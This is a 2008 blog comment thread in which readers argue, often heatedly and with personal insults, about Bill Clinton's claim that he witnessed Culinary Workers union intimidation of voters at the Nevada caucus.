Audio: Listen To Bill Clinton Allege That He Personally Witnessed Voter Suppression By Nevada Culinary Workers

Comments (99)

CT Voter wrote on January 19, 2008 2:35 PM:

Bill Clinton also said that he didn't have sexaul relations with that woman...

Bill, here's some advice: stay away from the microphones, the cameras, and the tape-recorders. In fact, just stay away from your wife's campaign altogether. You're just going to hurt.

Michael A wrote on January 19, 2008 2:35 PM:

SHUT UP mr. bill, just Shut Up.

Bill R. wrote on January 19, 2008 2:35 PM:

Poor Bill! He and Hillary are so victimized. Seems like a way to discredit an Obama victory, in case it happens.

Tom wrote on January 19, 2008 2:37 PM:

If he saw this, why didn't he intervene or formally report it instead of just using it in a speech to rile up his supporters?

This is just part of the Clinton strategy to discredit the results of the caucus in case they lose. If they win, they'll say it was in spite of the all-powerful union.

Alex F wrote on January 19, 2008 2:39 PM:

Hey, guess what? After Bill lied about Culinary Workers' votes counting 5 times as much, do you know how much credibility he has left? I'd put it somewhere in the neighorhood of none.

Now, if we start hearing these allegations from Bob Novak or Bill Kristol, I might start giving them some credence.

John wrote on January 19, 2008 2:39 PM:

Eye-opening? It sounds highly dubious that union organizers would do this in the presence of Bill Clinton. That's just ridiculous.

Chesser wrote on January 19, 2008 2:40 PM:

This new role President Clinton has taken on in the campaign seems a bit unseemly to me. He's a former President, and he's going around attacking a fellow Democrat with rhetoric and charges that seem plainly dishonest. I think it's a bad sign that I just don't believe him anymore.

Yeah Right wrote on January 19, 2008 2:41 PM:

Jesus Christ. He wants us to believe that a union rep would threaten a union member for the way he votes in front of a former President of the United States of America?

Bullshit.

fleetwood mac wrote on January 19, 2008 2:41 PM:

Billary, how does that line go in that fleetwood mac song? Yesterdays gone, yesterdays gone.

They should take a cue from his old campaign song

Tom wrote on January 19, 2008 2:44 PM:

The question now is whether Bill will have any credibility left after this campaign is over.

He's been caught lying repeatedly now. Sure he wants to help his wife win, but he's not doing that by lying.

Greg wrote on January 19, 2008 2:46 PM:

I meant "eye opening" in two senses -- both that the charges themselves are "eye opening," but also in the sense that it's eye opening that Bil would make them...

GordonsGirl wrote on January 19, 2008 2:48 PM:

Bill Clinton's certainly going to hurt his wife's campaign but, I fear, too late to repair the damage. The Las Vegas Sun reports that he and Terry McAuliffe are trolling around at least one casino caucus site.

Someone needs to publicly address his behavior NOW: Is this what we can expect of him as First Spouse? From what we're seeing now, HRC has neither the will nor ability to rein in her husband.

I'll tell you people, I'm an Obama supporter but I believe she will win the nomination. Why? Partly because so many older women are hoodwinked into thinking Hillary's owed. Further because the Clintons will say or do ANYTHING it takes to get back into the Oval Office. I even heard one journalist say this morning: "He appears to want it more than she does." HELLO!!! Is that supposed to be a surprise??? Folks, it's a run around the 22nd Amendment.

amber wrote on January 19, 2008 2:49 PM:

For Pete's sake---the man was President of the United States - the Commander in Chief --- and someone was following behind him intimidating workers?

You mean the "intimidator" did not recognize Bill or Chelsea or the 100 or so press people with them?
And no one of this group stared the person down??
Why didn't the audio and video people with Bill tape/film the intimidation?

That's one powerful union guy --

Keith wrote on January 19, 2008 2:49 PM:

Where to begin. What union representatives were following President Clinton? What did he do when he witnessed this event? Did he take persons name? How about those being intimidated? Secret Service were present I'm sure, can they corroborate? Any other witnesses not involved in the campaign witness this (it seems there should quite a few since this was in public)? Did Clinton file a formal complaint?

I'm really tiring of Bill Clinton. And I say this as a big fan of his presidency. If Hillary wins, she loses. Unfortunately, I don't think she appreciates that, and I KNOW President Clinton doesn't appreciate that.

Sad.

JohnTEQP wrote on January 19, 2008 2:49 PM:

I worked for Bill Clinton in 1992. I'm glad I can say that - I think he did a lot of good things. But he also abused my trust. At this point, it's just not worth it to try and defend him anymore. The longer he stays in the picture, the greater my disillusionment.

MP wrote on January 19, 2008 2:50 PM:

When the primary season got underway, I was open to voting for any of the Democratic candidates. But the more I see of the Clinton machine, the more dispirited I become by them. Twisting opponents statements to set up a straw man arguments, outright lies and voter suppression are what I expect from Republicans, and yet the Clintons use them with regularity. And from what I've seen of many - not all - Clinton supporters on this board, they intentionally misinterpret what her opponents are saying, and then when it becomes clear they still cannot when, they switch to another argument.

If I were looking to personify my disappointment, I've got to look no further than Bill. Red-faced, sputtering, making-up-the-facts-as-he-goes-along Bill. Unless and until W gets extradited from his ranch in Paraguay to face charges after he leaves office, I doubt I'll see a President fall quite so far post-Presidency.

mike wrote on January 19, 2008 2:51 PM:

How the hell do all the comments here have other information that confirms Bill and Chelsea are lying? If my guy in doing something wrong I want him to stop .... if the other guy is doing something wrong I want him to stop as well. It is call fairness. It involves facts. Hating the Clintons is not an free ticket to a all out bullshit festival. Do any of you keyboard jockeys know anything about hotel unions in LasVegas? Do you know anything about union bosses from anyplace you have ever worked? I didn't think so! So STFU!

Jay Andrew Allen wrote on January 19, 2008 2:52 PM:

"Eye-opening"? The Culinary Workers union response makes it clear that there is no factual basis to this charge. Yet all they merit is a token link and a description of their words as a "denial," while Clinton's accusation occupies the rest of your write-up.

Badly played, dude - especially on the day of an important caucus.

LynnDee wrote on January 19, 2008 2:54 PM:

And here's a link to a piece at politico.com that suggests the Clintons are the ones who are putting this story out there:

http://www.politico.com/news/stories/0108/7982.html

as usual wrote on January 19, 2008 2:56 PM:

instead of addressing what he said, the bulk of posters yammer on about meaningless, irrelevant crap. Gee, what a suprise!

KathyF wrote on January 19, 2008 2:57 PM:

I suppose they're going to file a complaint--using the Obama's Deceptive Practices and Voter Intimidation Prevention Act, which has passed in the house and the Senate Judiciary Committee.

Obama is a civil rights lawyer who taught classes on voting rights. They really think this stuff is going to stick?

duh wrote on January 19, 2008 2:57 PM:

"How the hell do all the comments here have other information that confirms Bill and Chelsea are lying?"

Mike, we're not saying we have information that confirms he's lying.

We're saying his story is completely fucking unbelievable.

S Brennan wrote on January 19, 2008 2:57 PM:

Culinary Union Intimidating Members to Vote for Obama
Reported from Las Vegas, Nevada

There's nothing dainty about Las Vegas but things are getting rough.

Intimidation. Pledges demanded. People to vote for Obama or stay away from the caucus.

Call this union vs. the casino workers.

I just did an interview with a Culinary union member who was intimidated while eating lunch in the cafeteria at work. She didn't want to give her name, but she wanted to tell her story. The connection is rough, but her story tells the tale. It's below in a podcast:

Culinary Union pressures members to vote for Obama

Pamela over at Democratic Daily posted on a tip she received about the intimidation.

Jon Ralston talked about it this morning on MSNBC.

I just got off the phone with a unimpeachable source that there has been more than one confrontation between union reps and members.

This is not an indictment against unions, especially considering I joined my first union when I was in my teens, totaling four eventually. Unions are the backbone of the middle class. But in every good group there lies opportunistic cretins. Obama's supporters are obviously applying Chicago style politics in Sin City and they've got three days to get the job done.

Meanwhile, you've got big shots like John Kerry talking about "let the people vote" doing so within a stacked system titled towards the Culinary union, with many of their members who'd much rather vote for someone other than Obama being intimidated and forced to sign pledge cards. Some will fight back, but most will not. From what I'm hearing, this is getting ugly. It's the opposite side, with the story actually being "make the people vote for me."

UPDATE II: After you listen to the tape, think about this. How do the union members get out for the caucus? It's during working hours so they have to get permission to be let out of their shift. So they have to sign cards, as the woman on the tape said. But according to her, if you don't sign the pledge card specifically for Obama you can't go to the caucus. That's because the company won't have a record of your intention to caucus. It's the very definition of coercion.

RP wrote on January 19, 2008 2:57 PM:

Here is a Clinton quote from 1998, just to keep in mind howmuch veracity to put in thse charges. "I did not have sex with that women." Now, I thought Bill Clinton was a good President and the whole Lewinsky thing should never have been an issue. Still, he knew that the Republicans were just waiting to entrap him in a discretion. He couldn't keep his fly shut. He couldn't stop hitting on women. He couldn't honor the basic wedding vow he took with his wife and subject her to public humiliation because of this. Now, to make it up, he wants her to be President. I don't have a problem with Hilary, but enough is enough with the Clintons.

sue wrote on January 19, 2008 2:59 PM:

Let me get this straight, Clinton's claim intimidation and it's a lie because the Obama camp and the Union response claim it didn't happen?

Did you read Joan Walsh in Salon's article "Como se llama" Obama?
It pretty much verifies the story that culinary workers not for Obama are being intimidated. Go read it.

nisleib wrote on January 19, 2008 2:59 PM:

A proven liar practicing his craft.

Clinton lies, always has, always will.

No wrote on January 19, 2008 3:01 PM:

"Let me get this straight, Clinton's claim intimidation and it's a lie because the Obama camp and the Union response claim it didn't happen?"

No, it's a lie because a union rep wouldn't do that in front of Bill Clinton.

And even if one was stupid enough to do so, it almost certainly would be on film.

And in any case, if Clinton witnessed it, he should have dressed the rep down and reported the violation, not go on a radio show.

Do you not understand this?

Mike timmons wrote on January 19, 2008 3:01 PM:

What he did not tell you is that he saw the incident at Cheetah's.

Tom wrote on January 19, 2008 3:02 PM:

These kinds of allegations get thrown around in elections all the time. It's usually by dishonest Republicans, alleging that the unions are intimidating their poor workers. Of course, they never have any evidence. Just allegations, released right before the election.

Liam wrote on January 19, 2008 3:03 PM:

No need to go back to Bill's Lewdinski lies. We have far more recent proof that he will lie about anything to gain a political advantage. Recently in Iowa he told an audience that he was always against the Iraq Invasion. The truth is not in the Man.

Petey wrote on January 19, 2008 3:03 PM:

I've heard rumblings from within the Obama campaign that Clinton staffers were mailing pamphlets to voters in a GOTV movement.

But there were two pamphlets. People who had committed to Clinton on the phone got one. People who hadn't got another. And the latter contained incorrect information.

This is all hearsay, but I know people were trying to come up with solid evidence and trying to figure out how to deploy it in the media.

Given that, this is doubly ironic.

blackstar wrote on January 19, 2008 3:03 PM:

keep quoting the already fully discredited Taylor Marsh, it just makes you look like fools.

voter intimidation is a BIG deal, so i would hope Bill would back his claims up with some evidence included in a formal complaint.

how much does anyone want to bet that will happen?

CT Voter wrote on January 19, 2008 3:06 PM:

S Brennan

You didn't actually write your post, so why don't you include the author's name?

YOu lifted it wholesale from Taylor Marsh's mostly discredited post...

Paulie wrote on January 19, 2008 3:07 PM:

the union guy doing the intimidating.....Keyser Soze.

Go back and look at the very first post, ct voter nailed it.

This is more proof that Hillary knows her campaign is sinking! These tactics are SO lame but fortunately it seems that everyone is seeing through them.

There is a pattern developing mccain is going to lose SC so he shouts "cheating!", Hillary is going to lose nevada so bill shouts "cheating!".

mcc wrote on January 19, 2008 3:08 PM:

What I find mostly interesting about this is that this essentially comes down to Clinton espousing anti-Union rhetoric. I wonder if there will be consequences for this.

dstein wrote on January 19, 2008 3:08 PM:

Where were Bill Clinton's cries of utrage over voter suppression when huge blocks of Af Am vote's were suppressed at the hands of the GOP in Florida and Ohio? I guess a Dem win in 2000 or 2004 would have hurt Hillary's chances to run in '08.

Bill Clinton has transformed into an ugly political hack. Not very fitting for a former president. Even H.W. Bush was wise enough to stay away from this low profile.

Anonymous wrote on January 19, 2008 3:09 PM:

i dont buy it...

i dont wanna call bill a liar, but he doesn't have much credibility to me anymore.

ARR wrote on January 19, 2008 3:10 PM:

If Bill says it, it must be true . . .

cms wrote on January 19, 2008 3:11 PM:

WJC has proven himself to be a dishonest and dirty campaign of the highest order in this primary and I, too, will consider options if Hillary wins the nomination. As a person who really respected them both prior to this process, and who fully planned to support whoever won, it took a lot to get me here. But since I've gotten to this point, instead of making me re-think it, every single day the Clintons do something to confirm they do not deserve the support of anyone who value integrity and honesty. They are the dirtiest campaigners and biggest liars this side of Rove.

And this nonsense also reveals what a spectacle Bill as First Spouse would be. There does not seem to be much daylight between Bill and his wacko brother after all. He's a spectacle and a disgrace of a former president. You didn't see G. H. Bush demean himself or the office when his son ran for the presidency. Bill Clinton is a deep disappointment, to say the least.

storm wrote on January 19, 2008 3:14 PM:

he should be called on this one. if there is voter suppression, suppression charges should be filed. if not, defamation charges should be filed.

Helena Montana wrote on January 19, 2008 3:14 PM:

Bill Clinton was a good president, but we have proof that he is a dyed in the wool liar. Not a credible witness.

leftdcin72 wrote on January 19, 2008 3:15 PM:

How many people believe a thing Bill Clinton has to say? Come on, hold your hands up?

joejoejoe wrote on January 19, 2008 3:16 PM:

Pappy O'Daniel should file a complaint or STFU.

leftdcin72 wrote on January 19, 2008 3:17 PM:

How many of you believe a thing Bill Clinton says? Come on, hold your hands up.

Matt wrote on January 19, 2008 3:17 PM:

This is pretty rich coming from the camp that just tried to stop people from voting by filing a lawsuit to shut down caucus locations on the strip.

Obviously all ofthe posts in this thread are conjecture - no one here has any real facts other than what's been reported above.

Having said that, visualize for a second what the scene would have to be in order for what Bill is saying to be true.

If Bill really saw/heard this, that means he had to have been within earshot of the conversation. Which means that the union rep would needed to have been within what, 10 feet or so of Mr. Clinton, right in the middle of secret service agents, reporters, cameras, voters, campaign operatives and handlers, etc.

Are you freaking kidding me? Seriously, just close your eyes for a second and visualize, physically, what the scene would have needed to be for Bill to have witnessed this. This person would have to have done this right smack in front of God and the TV cameras.

Look, I voted for Clinton in 1992 and 1996, and still think he accomplished some great things for this country. And I've never held anything against Hillary.

But this is just plain shameless and sleazy. Come on Bill. You're either lying or manipluating the truth here. The story just plain isn't plausible, folks. And in light of the recent lawsuit and the timing, the credibility factor on this goes down to zero.

Pretty sad.

Anonymous wrote on January 19, 2008 3:17 PM:

When history is written, which side will you be on?

www.ivotedhistory.com

ugh wrote on January 19, 2008 3:19 PM:

Going into the Iowa caucus, I was thinking along the lines of "Well, Kucinich is not going to win, so I hope Edwards does. If not him, Obama would be OK. If not him, Clinton's fine. In any case, whatever Democrat wins the nomination is obviously getting my vote. Hell, I'd vote for Gravel, and he's certifiable."

After the shit the Clinton campaign has been pulling since then, I'm no longer entirely sure that I'll be able to hold my nose and pull the lever if she were to win the nomination.

I'm certainly not going to vote for a Republican. But I might just vote for some minor party candidate.

Casey wrote on January 19, 2008 3:20 PM:

For a decade I have felt sorry for the Clintons. They, and the whole country, were dragged through the mud by a bunch of hypocrites whose political ambition completely eclipsed the good of the country.

Now, suffering from a renewed bout of Clinton Fatigue, I'm remembering just how I felt about his extreme recklessness and disregard for the consequences of his actions. He couldn't keep it in his pants and he betrayed all of us.

It is sad to see him so vulnerable and out of his depth. It is also infuriating. He should definitely be seen an not heard in this campaign.

rachelrachel wrote on January 19, 2008 3:20 PM:

I don't know if Bill is telling the truth or not. If he's going to make these claims, he should back them up with evidence. He's obviously an interested party, so his own testimony doesn't count for much.

If the union organizers are as blatant as Bill claims they are, there should be some other witnesses.

Frank wrote on January 19, 2008 3:20 PM:

Despite my votes for Bill Clinton in 1992 and 1996, I think he doesn't have the temperament to be co-President now. His sense of his and Hillary's entitlement is breathtaking. The presidency shouldn't be a family business.

Anonymous wrote on January 19, 2008 3:22 PM:

Bill Clinton's increasingly erractic behavior should be of great concern to his family, friends and supporter. Surely someone must be monitoring his health and medications closely. He is beginning to sound bizarre. His tendancy to lie has become blantant and chronic. I think he needs some medical or at least psychological help.

Michael A wrote on January 19, 2008 3:25 PM:

Anybody interested with facts as opposed to the clinton lies and distortions and playing poor victims. Here is the website for nevada giving live caucus results. It looks neck and neck right now.

http://www.nvdems08.com/

Go Obama. The sooner the clintons are gone from the scene the better.

Anonymous wrote on January 19, 2008 3:25 PM:

If Hillary wins in Nevada, what are the odds that all of the Clintons concerns about the fairness of the caucuses disappear and the lawsuit evaporates.

What would be very interesting is if Hillary wins in the casino primaries. Will she have the courage of her convictions to still renounce those votes, voters and methods? I seriously doubt it.

quasar wrote on January 19, 2008 3:25 PM:

This is why Bill Clinton can only draw 100 or so people now at his speaking engagements.

This one was made at a YWCA event. Probably included people that were there to workout.

LynnDee wrote on January 19, 2008 3:26 PM:

BTW -- anyone else think it odd that voter suppression should be going on in front of Bill Clinton? Did those doing the intimidating somehow miss the fact he was there? Was he hiding behind a philodendron?

Strains credulity, doesn't it?

John Moody wrote on January 19, 2008 3:26 PM:

Hey Obama fans, stop with the phony outrage. Calling Bill Clinton names won't prove or disprove anything. And gee, the Union says they wouldn't do that. Gosh, golly, that's good enough for me! The charge should be investigated and then let the truth come out. Let's leave the name calling to our friends on the right.

uh wrote on January 19, 2008 3:33 PM:

"The charge should be investigated and then let the truth come out."

For that, Clinton would have to report the violation to the proper authorities, not to someone interviewing him.

brad wrote on January 19, 2008 3:35 PM:

Never voted Republican in my life but I will stay home on election day if HRC is the nominee. I do not want to defend these hacks.

thedcsir wrote on January 19, 2008 3:36 PM:

Calm down Democrats! Let's wait for the facts. In the meantime, remember what we're up against. Mike Huckabee, in his own words, is trying to "spiritually rape" us. Watch here:

http://www.youtube.com/watch?v=QXBNl7RlwfQ

Liam wrote on January 19, 2008 3:38 PM:

Bill Clinton has not proved anything, and he is a known liar, so the burden of proof is on him. I bet he will not provide it. Yes, he has sunken to a new low by dragging his daughter's name into it. He knows that he would not be believed, so he is trying to use his daughter as a character witness. We always knew, from the way that he treated all women, within touching distance, that at heart, he actually hates woman, but to drag his own daughter into his political lies, is a new low for even the Bimbos marathon King. Shame on him.

uh wrote on January 19, 2008 3:43 PM:

Calm down Democrats! Let's wait for the facts.

What do you mean? What facts? When do you think these facts are going to come? Who are they going to come from?

Bill Clinton just made a flatly absurd statement, that he clearly is not going to back up with "facts", yet you want us to "wait for the facts"?

Ron Robertson wrote on January 19, 2008 3:47 PM:

Obama, save us from your followers!

Isn't it ironic that the man that's going to change the tone in Washington has the screechiest followers?

I agree that it doesn't sound that plausible for a union worker to do that where Clinton could see him. But, I wasn't there, and neither is anyone else here, from what I can see. Some overzealous type at a union COULD do something that reprehensible. So without further facts, I don't think I'd be jumping to conclusions. It's also possible that if it did happen, the union person wasn't able to see Clinton, or didn't recognize him as he has aged quite a bit since he left office, and out of context of TV cameras people do tend to look very different in my experience.

So, calm down, wait for the facts, and save your venom for the Republicans. Quit being so fucking tribal, it's stupid and it's annoying.

cms wrote on January 19, 2008 4:05 PM:

Ron Robertson -- I would have been happy to save my venom for the right if the Clintons had saved their dirty and disgraceful politics for those on the right who deserved such treatment. They are self-serving, lying campaigners who have given us all plenty of evidence that they are willing to dishonestly take anyone down, including good Democrats.

r€nato wrote on January 19, 2008 4:14 PM:

Ron Robertson, you're straining pretty hard there to rationalize this. Didn't recognize Clinton? Come on, be serious.

I too find Clinton's tale highly suspect. I too thought he was a great president who did great things, but this voter-suppression story smells.

I'm not denying that union bosses might pressure union members to vote for Obama... but this specific tale just doesn't sound plausible.

hubris wrote on January 19, 2008 4:16 PM:

MP: "When the primary season got underway, I was open to voting for any of the Democratic candidates. But the more I see of the Clinton machine, the more dispirited I become by them."

Sadly, I am converging to similar sentiments. However, will that hold when the smoke clears?
I do not know.

hubris wrote on January 19, 2008 4:17 PM:

Ron Robertson- Umm...Ron Paul?

OQM wrote on January 19, 2008 4:19 PM:

Ron Robertson,

Obama will change the tone in Washington if elected. He has a good chance to get the nomination, even if he doesn't win Nevada. Some Clinton supporters like to say it will be Obama's turn in 2016. If he doesn't get the nomination, I'd say it will be more like 2012 because Clinton is burning through her support fast and will have a tough time against a John McCain or a Mike Bloomberg.

The Clintons are using Rovian tactics, which work well in the short run. However, even former Hillary supporters are getting angry about it, and rightfully so. Look at Hillary's support among African Americans. It's plummeted because of the pattern of cheap shots she has employed. And no, it isn't because the Obama campaign somehow painted it that way. Obama has said very little about these tactics. People have drawn their own conclusions.

Young people will also be reluctant to support Hillary. She may win some of the these first primaries and mabye even the nomination. But her disgraceful tactics only remind people of Karl Rove.

I'm saying this as someone who is a registered Democrat and has never voted for a Republican presidential candidate in 20 years. I'm saying I will not support Hillary. At some point, people have to take a stand and say that we won't stand for this kind of dirty politics any more.

southpaw wrote on January 19, 2008 4:19 PM:

Aw, Dems fighting Dems and dirty politics is sad but isn't new. Its a shame that either side and/or its followers have to stoop to please.

Why do they have to appeal to the LOWEST common denominator instead of the HIGHEST?

rwm66 wrote on January 19, 2008 4:29 PM:

TPM is easily the most "rational" of the major progressive web sites, but the commenters--My god, who are you people?
This kind of mind-numbingly stupid Hillary Hatred belongs on Sean Hannity's blog.

LynnDee wrote on January 19, 2008 4:46 PM:

quote: MP: "When the primary season got underway, I was open to voting for any of the Democratic candidates. But the more I see of the Clinton machine, the more dispirited I become by them."

Sadly, I am converging to similar sentiments. However, will that hold when the smoke clears?

>>>>>>

Another amen here. I was a huge Bill Clinton fan and, if comparatively indifferent to Hillary, I thought she was fine. A hard-working Senator who knew her stuff. I was ready to vote for whichever Dem got the nomination. I thought they were all great.

In recent weeks, however, I've been shocked, saddened and hugely disappointed by the tactics of the Clinton campaign. In all honesty, I feel betrayed.

LynnDee wrote on January 19, 2008 4:49 PM:

P.S. I'm a baby boomer mom with two kids. Supposedly Hillary's base. Well, count me out of her base.

Jane wrote on January 19, 2008 5:03 PM:

Thanks TPM for this link to Senator Kennedy aggressively condemning Bill Clinton's involvement in attacking Obama and injecting race into this contest.

http://www.newsweek.com/id/96385/page/1

I sincerely hope the media discuss this issue more thoroughly. They are actually admitting that it is okay if his reputation is hurt a bit provided they win the White House. Kennedy says it is totally improper for a US president and titular head of the Democratic Party to engage in such behaviour.

Please let the mainstream media discuss this more!

And it is so sad how the Clinton tactics are alienating voters. My mother has never voted for a Republican in the general election, and is so disgusted with the Clintons that she is refusing to vote for her in a general election.

Please let it end!

grover_rover wrote on January 19, 2008 5:04 PM:

Like I trust a damn word either of the Clintons say.

For them to complain about voter suppression after trying to disenfranchise workers in Las Vegas. Screw them.

This party is starting to disgust me.

cms wrote on January 19, 2008 5:12 PM:

LynnDee - I'm with you. Feeling betrayed sounds overboard since I do not know the Clintons personally, but it's how I feel as well. I've supported them -- defended them -- for 15 years and their dishonesty in this campaign is beyond belief.

LynnDee wrote on January 19, 2008 5:24 PM:

cms -- Me too. That sense of being betrayed took me by surprise. I guess it's their apparent willingness to trash the things that they've supposedly stood for over the years that is so shocking to me.

The Newsweek story (linked above) quotes members of the Clinton campaign who are concerned about what Bill Clinton is doing but who ultimately conclude that the potential loss to his stature is worth the short term gain "because the stakes are so high." I guess they mean the stakes for the Clintons, because they sure don't mean for the party or the country.

cgo wrote on January 19, 2008 6:45 PM:

rwm66 wrote on January 19, 2008 4:29 PM:
"TPM is easily the most "rational" of the major progressive web sites, but the commenters--My god, who are you people?
This kind of mind-numbingly stupid Hillary Hatred belongs on Sean Hannity's blog."

I don't know about Hillary Hatred, but their tactics are pretty disgusting. Primary Colors has been on a lot lately on HBO and it's pretty interesting. The idea that they have to do anything to win because they know best how to make things better for everyone. Those voters at the rally who love and trust them are being lied to and played like rubes. How arrogant and patronizing.

Too bad Edwards didn't make a better showing. Just dropped him and Obama a contribution.

Anonymous wrote on January 19, 2008 7:04 PM:

The new Newsweek article reporting that party leaders Rahm Emanuel and Ted Kennedy have told Bill Clinton to stop his attacks on Obama, suggests that there may some sanity in the Democratic party. http://www.newsweek.com/id/96385

It begins: "Prominent Democrats are upset with the aggressive role that Bill Clinton is playing in the 2008 campaign, a role they believe is inappropriate for a former president and the titular head of the Democratic Party."

It also quotes Greg Craig, who coordinated Clinton's impeachment defense in 1998, who says: "recent events raise the question: if Hillary's campaign can't control Bill, whether Hillary's White House could."

I don't know the answer of what to do about Bill, but it is good the issue is being raised. The Clinton baggage is substantial and moving it all back to the White House should not be done without some major public discussion.

Anonymous wrote on January 19, 2008 7:14 PM:

rwm66 "This kind of mind-numbingly stupid Hillary Hatred belongs on Sean Hannity's blog."

Hillary's followers are so very naive. Why do they condemn and attack other Democrats who oppose Hillary aggressively? Why don't they examine their candidate and try to understand why she is so deeply divisive and absolutely hated by many of the people who by politics and demographics should be her supporters? My answer is: Mrs. Bill Clinton is dishonest and unqualifed. No amount of corporate funding, Bill rage, victim talk, or attack dog bullying on comment sites is going to change that. Much of the nation absolutely does not want warmongering Hillary Bush-Clinton as president, will not vote for her under any circumstance, and will never accept her as president.

Those naiive enough to support her should questioning Hillary and her campaign tactics instead of shooting the messangers.

edwardsisforreal wrote on January 19, 2008 7:42 PM:

Obama and Michelle come from Daley chicago politicks. You think that's clean? Obama can't be the candidate because he hasn't yet dealt with the dirt it cost to get him to where he is. Once he does--maybe 8 years from now if he's okay--then.

timbnyc wrote on January 19, 2008 7:56 PM:

With Bill, it's all about projection.

timbnyc wrote on January 19, 2008 7:59 PM:

With Bill, it's all about projection.

Paulie wrote on January 19, 2008 7:59 PM:

I think it's hilarious that hillary followers are so put out by everyone else reminding them that bill has no credibility. The talk of obama having the "screechiest followers" and "fake outrage" are such lame attempts to change the focus from the crux of the article. It's pretty clear from the majority of postings that most people are fed up with the clintons and would prefer they not occupy the white house again. It's as simple as that.

RudyG wrote on January 19, 2008 8:01 PM:

Perhaps the voter intimidation is part of the "vast right wing conspiracy" that hillary spoke about previously?!?!?!?!?

Mary wrote on January 20, 2008 1:17 AM:

Bill always doing slimy rovian tactics then accusing Obama of them. Just because you would do it Bill, doesnt mean Obama is the slimeball you are.

Bill showed up at the caucus sites and was strong arming caucus goers. I can't make this crap up. He was actually standing at the caucus site stumping. It should be illegal and no other candidate was there.

check it out!
http://www.huffingtonpost.com/2008/01/19/bill-clinton-ignites-ruck_n_82327.html

ctan wrote on January 20, 2008 3:53 AM:

To the jealous people:
No matter what the pundits or the clinton haters say... the Clintons will always end up winning. There is always something that comes from within for the Clintons. It will "humble" you all. I bet you. Like, an egg all over your face. Have you ever noticed that???? The more you pin the Clintons down... the more they emerge to be in the top. So just stand by.

Anonymous wrote on January 20, 2008 7:00 AM:

S Brennen said in reference to the at-large caucus sites in casinos: "So they have to sign cards...if you don't sign the pledge card specifically for Obama you can't go to the caucus. That's because the company won't have a record of your intention to caucus. It's the very definition of coercion."

This post was absolute garbage. The workers are UNION members. Why would MANAGEMENT require them to sign a pledge card for Obama. And, Hillary won some of the Casino precincts.

The only problem with the Nevada caucus rules was the the union did no endorse Hillary, so she tried to prevent union workers from voting, like the good Bush-Rovee-Necon Republican that she is.

Anonymous wrote on January 20, 2008 7:13 AM:

ctan said ..."the Clintons will always end up winning. "

And when the dishonest, lying, warmongering Clintons win, the corporations win, and the American people lose.

Many many many American voters are angry about the Washington establishment, status quo that makes the rich richer at the expense of everyday people. The Cliintons have become mega millionaires selling influence to corporatins. Many Americans see the Bushes and the Clintons as the same problem and want them all to GO AWAY

Can the American people prevent more Bush-Clinton corruption? Is their number enough to prevent the incompetent, lying Mrs. Bill Clinton from becoming president?

smartalek wrote on January 20, 2008 9:21 AM:

Chesser wrote on January 19, 2008 2:40 PM:
"I think it's a bad sign that I just don't believe him anymore."
This implies that there was a time that you ever did...
Some of us knew better. (And no I'm not a Repuke troll.)

Jack wrote on January 20, 2008 12:47 PM:

I used to be a big Bill Clinton fan. His actions of late have really been disheartening. The Culinary union should ask Clinton to substantiate his claim of voter suppression and threaten him with a law suit. He actually claimed that a union oficial engaged in illegal activity. If this was just made up, which I bet it was, the union would have solid grounds to sue.

I really wish Bill would go back to concentrating on his humanitarian efforts which have been truley noble. Playing Hillary's attack dog is tarnishing his legacy.

warren terra wrote on January 20, 2008 1:51 PM:

Blonde ambition backed by blind ambition.

Anonymous wrote on January 20, 2008 2:03 PM:

Jack, "The Culinary union should ask Clinton to substantiate his claim of voter suppression and threaten him with a law suit."

I agree. If as he claims, he and Chelsea witnessed blatant voter intemidation in a specific Las Vegas Hotel, which he described as the worst thing he had witness in 35 years, he should provide specifics. It will not be hard to document and investigate.

Tim Russert said on Meet the Press today that NBC has asked the Clinton Campaign for more details about the allogation and planned actions, but had not recevied a response.

The media should press on this. If a former president of the United States is charging the Culinary Workers Union with voter intimedation it is important. If a former president of the United States is lying about that to try and influence an election involving his WIFE... it is HUGE. Clinton should be held to public account for such a startling allogation.

GUs wrote on January 20, 2008 3:14 PM:

The President is full of it. Strip workers' schedules are made weekly, not daily, and they are made by the management, not the union. Everyone knows that.

Kickbass wrote on January 20, 2008 3:16 PM:

Clearly, a part of the Clinton strategy was to get CWU members to vote contrary to the endorsement of their union bosses. They were successful to a significant degree so it is understandible that Bill would notice and be upset by efforts to get members to toe the line.

None of this is suprising to me; none of the commenters have any special access to any information that would prove that Bill is lying; most of the reactions here are highly speculative and based in large part on support for Obama.

Yes, there is a game of hardball being played and it's not so pretty but don't lose sight of the fact that your distaste for Hillary could likely translate into a victory for Mr. 100-years-in-Iraq. Good thinking! Try comparing Obama and Hillary's actual Senate voting records (they are virtually identical: http://www.adaction.org/2006Senatevr.htm ) and calm down. Don't be afraid to be loyal, partisan Democrats!

If Tim Russert is getting to the bottom of this, you can expect that his conclusions will be unbiased (not!):
http://mediamatters.org/issues_topics/tags/tim_russert

Kickbass wrote on January 20, 2008 3:27 PM:

From Joan Walsh (http://www.salon.com/opinion/walsh/?source=newsletter):
...United Farmworkers' Union co-founder Dolores Huerta went further, accusing the Culinary Workers Union of intimidating Clinton supporters and keeping them away from the caucuses. Union leaders are telling Clinton backers if they don't vote for Obama, "they won't get transportation, they will be fired," Huerta said.

Ron Robertson wrote on January 20, 2008 7:02 PM:

hubris wrote on January 19, 2008 4:17 PM:
Ron Robertson- Umm...Ron Paul?

Incredibly stupid and offensive, hubris, but perhaps that's why you go by that name.

Still, I'm not seeing much more than projection by Obama supporters here. Like I said before, it's unlikely the Mr. Clinton's story will hold up. I'm not trying to stretch by saying different scenarios of how he could have witnessed something. One I forgot to mention is that he may have misinterpreted something. Since none of us were there, we can only conjecture, and 99.99% of the time, conjecture is simply wrong.

To think there are people who'd vote for a republican before they'd vote for Hillary. The hate people have for her is nothing short of irrational. You're being played for rubes by the press and people with an unhealthy agenda if you can't see through that. Stand back, be rational, calm yourselves, any of the top democratic candidates will be a giant improvement over that jackass sitting in the whitehouse now. Please, quit being so tribal, just because you like one democrat doesn't mean the others are evil because they want to win just as much. And don't make a joke of yourself by trying to pawn off the idea that Obama, Edwards and Clinton aren't equally ambitious, and equally willing to overlook failings of their followers when it suits them. We're voting for a politician, not a saint, and if you're thinking your candidate is saintly or can do no real wrong, you're playing yourself for an absolute fool.

fisharcade wrote on January 21, 2008 1:15 AM:

Something truly disturbing in what Josh Marshall had to say a day or two ago. I'm paraphrasing: throughout the nineties, you could not have found a bigger Bill Clinton man around than me.

